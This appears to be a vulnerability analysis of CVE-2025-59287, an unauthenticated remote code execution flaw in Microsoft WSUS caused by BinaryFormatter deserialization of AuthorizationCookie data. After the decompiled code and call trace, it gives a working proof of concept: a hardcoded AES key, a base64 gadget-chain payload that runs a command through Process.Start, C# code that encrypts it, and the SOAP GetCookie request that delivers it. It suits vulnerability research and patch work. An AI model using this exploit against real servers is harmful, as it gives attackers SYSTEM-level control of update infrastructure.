CVE-2025-59287 — WSUS Remote Code Execution
In this study, we will examine a critical vulnerability (CVE-2025-59287) discovered in the Microsoft Windows Server Update Services (WSUS) environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie() endpoint, where encrypted cookie data is decrypted using AES-128-CBC and subsequently deserialized through BinaryFormatter without proper type validation, enabling remote code execution with SYSTEM privileges.
CVE-2025-59287 / 9.8
Windows Server Update Services (WSUS) Overview | Microsoft Learn
What is WSUS?
WSUS (Windows Server Update Services) is a Microsoft tool that allows IT administrators to manage and distribute updates for Windows systems. WSUS clients communicate with the WSUS server over the web to receive updates and stay secure.
Deserialize
internal object DecryptData(byte[] cookieData)
{
if (cookieData == null)
{
throw new LoggedArgumentNullException("cookieData");
}
ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
byte[] array;
try
{
if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
{
throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
}
array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
}
finally
{
cryptoTransform.Dispose();
}
object obj = null;
if (this.classType == typeof(UnencryptedCookieData))
{
UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
try
{
unencryptedCookieData.Deserialize(array);
}
catch (Exception ex)
{
if (ex is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex.ToString(), "cookieData");
}
obj = unencryptedCookieData;
}
else
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(array);
try
{
obj = binaryFormatter.Deserialize(memoryStream);
}
catch (Exception ex2)
{
if (ex2 is OutOfMemoryException)
{
throw;
}
throw new LoggedArgumentException(ex2.ToString(), "cookieData");
}
if (obj.GetType() != this.classType)
{
throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
}
}
return obj;
}
Vulnerability Flow:
The DecryptData
method processes encrypted cookie data through the following steps:
- Input Validation — Checks if
cookieData
is null and validates block size alignment - Decryption — Uses
AES-128-CBC
viacryptoServiceProvider.CreateDecryptor()
to decrypt the cookie data - Block Processing — Divides and transforms the encrypted data into decrypted blocks
- Type Check — Determines if the data is
UnencryptedCookieData
or requires deserialization - Unsafe Deserialization — If not
UnencryptedCookieData
, passes the decrypted bytes directly toBinaryFormatter.Deserialize()
This final step is the critical vulnerability: arbitrary encrypted payloads can be deserialized, leading to remote code execution.
Trace
==> Microsoft.UpdateServices.Internal.Authorization.EncryptionHelper.DecryptData(byte[] cookieData) : object (IL=0x00AE, Native=0x00007FFA784EE880+0x3A8)
==> Microsoft.UpdateServices.Internal.Authorization.GenericAuthorizationPlugIn.CrackAuthorizationCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie cookie) : void (IL≈0x0031, Native=0x00007FFA784F10A0+0x138)
==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.CrackAuthorizationCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie cookie) : void (IL≈0x006B, Native=0x00007FFA784F0DF0+0x1E6)
==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.CrackAuthorizationCookies(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies) : void (IL≈0x0023, Native=0x00007FFA784F0B30+0xCF)
==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentClientTime, string clientProtocolVersion) : Microsoft.UpdateServices.Internal.Authorization.Cookie
==> Microsoft.UpdateServices.Internal.ClientImplementation.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentClientTime, string protocolVersion, string clientIP) : Microsoft.UpdateServices.Internal.Authorization.Cookie
==> Microsoft.UpdateServices.Internal.Client.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentTime, string protocolVersion) : Microsoft.UpdateServices.Internal.Authorization.Cookie
DecryptData
The user sends a request. After the request is processed, the first part arrives here, where it retrieves values such as the cookie and date from the data we provided.
[Client]
public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion)
{
if (Client.clientImplementation == null)
{
Client.CreateClientImplementation();
}
string ipaddress = this.GetIPAddress();
return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress);
}
The ClientImplementation.GetCookie
method is called. The GetCookie
method performs multiple operations, such as checking whether the cookie is empty, and attempts to parse the protocolVersion
. If everything succeeds, it passes the data to the other method, AuthorizationManager.GetCookie
.
Next, it proceeds to the CrackAuthorizationCookie
method, which checks the plugin ID that we provided in SOAP.
In UnencryptedAuthorizationCookieData
and CrackAuthorizationCookie
, it checks whether the cookie is empty and then passes it to the DecryptData
method.
PoC
static void Main()
{
//key
string hexKey = "877C14E433638145AD21BD0C17393071";
byte[] key = new byte[16];
for (int i = 0; i < 16; i++)
key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);
string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";
byte[] ser = Convert.FromBase64String(ysooo);
byte[] enc = EncryptPayload(ser, key);
string base64Payload = Convert.ToBase64String(enc);
Console.WriteLine(base64Payload);
}
static byte[] EncryptPayload(byte[] data, byte[] key)
{
using (var aes = new AesCryptoServiceProvider())
{
aes.Key = key;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.None;
aes.IV = new byte[16]; // null
byte[] salt = new byte[16];
new RNGCryptoServiceProvider().GetNonZeroBytes(salt);
using (var encryptor = aes.CreateEncryptor())
{
int num = data.Length % encryptor.InputBlockSize;
int num2 = data.Length - num;
byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
encryptor.TransformBlock(data, 0, num2, result, salt.Length);
byte[] paddedBlock = new byte[encryptor.InputBlockSize];
for (int i = 0; i < num; i++)
{
paddedBlock[i] = data[num2 + i];
}
encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);
return result;
}
}
}
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>[GENERATED PAYLOAD]</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>
Conclusion
CVE-2025-59287 is a critical RCE vulnerability in Microsoft Windows Server Update Services (WSUS), caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method. The vulnerability allows an unauthenticated attacker to achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint. Permanent mitigation requires replacing BinaryFormatter with secure serialization mechanisms, implementing strict type validation, and enforcing proper input sanitization on all cookie data.